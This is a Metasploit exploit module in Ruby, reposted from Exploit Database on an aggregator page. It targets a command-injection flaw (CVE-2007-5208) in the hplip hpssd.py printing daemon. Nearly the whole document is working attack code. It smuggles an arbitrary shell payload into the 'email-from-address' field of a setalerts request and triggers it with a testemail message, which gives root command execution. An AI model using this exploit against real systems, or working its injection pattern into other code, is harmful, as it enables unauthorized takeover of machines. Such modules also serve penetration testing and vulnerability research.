hplip – ‘hpssd.py’ From Address Arbitrary Command Execution (Metasploit)

• Exploit Database
• 8 阅读

• 作者： Metasploit
  日期： 2010-10-09
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16837/

• ##
  # $Id: hplip_hpssd_exec.rb 10617 2010-10-09 06:55:52Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'hplip hpssd.py From Address Arbitrary Command Execution',
  			'Description'=> %q{
  					This module exploits a command execution vulnerable in the hpssd.py
  				daemon of the Hewlett-Packard Linux Imaging and Printing Project.
  				According to MITRE, versions 1.x and 2.x before 2.7.10 are vulnerable.
  
  				This module was written and tested using the Fedora 6 Linux distribution.
  				On the test system, the daemon listens on localhost only and runs with
  				root privileges. Although the configuration shows the daemon is to
  				listen on port 2207, it actually listens on a dynamic port.
  
  				NOTE: If the target system does not have a 'sendmail' command installed,
  				this vulnerability cannot be exploited.
  			},
  			'Author' => [ 'jduck' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10617 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-5208' ],
  					[ 'OSVDB', '41693' ],
  					[ 'BID', '26054' ],
  					[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=319921' ],
  					[ 'URL', 'https://bugzilla.redhat.com/attachment.cgi?id=217201&action=edit' ]
  				],
  			'Platform' => ['unix'],
  			'Arch' => ARCH_CMD,
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							# *_perl and *_ruby work if they are installed
  							# inetd isn't used on FC6/7 (xinetd is)
  							# netcat doesn't have -e by default
  						}
  				},
  			'Targets'=>
  				[
  					[ 'Automatic (hplip-1.6.7-4.i386.rpm)', { } ]
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate'=> 'Oct 04 2007'
  		))
  
  		register_options(
  			[
  				Opt::RPORT(2207),
  			], self.class)
  	end
  
  	def exploit
  
  		connect
  
  		#cmd = "nohup " + payload.encoded
  		cmd = payload.encoded
  
  		username = 'root'
  		toaddr = 'nosuchuser'
  
  		# first setalerts
  		print_status("Sending 'setalerts' request with encoded command line...")
  		msg = "username=#{username}\n" +
  			"email-alerts=1\n" +
  			#"email-from-address=`#{cmd}`\n" +
  			"email-from-address=x;#{cmd};\n" +
  			"email-to-addresses=#{toaddr}\n" +
  			"msg=setalerts\n"
  		sock.put(msg)
  
  		# next, the test email command
  		print_status("Sending 'testemail' request to trigger execution...")
  		msg = "msg=testemail\n"
  		sock.put(msg)
  
  	end
  
  end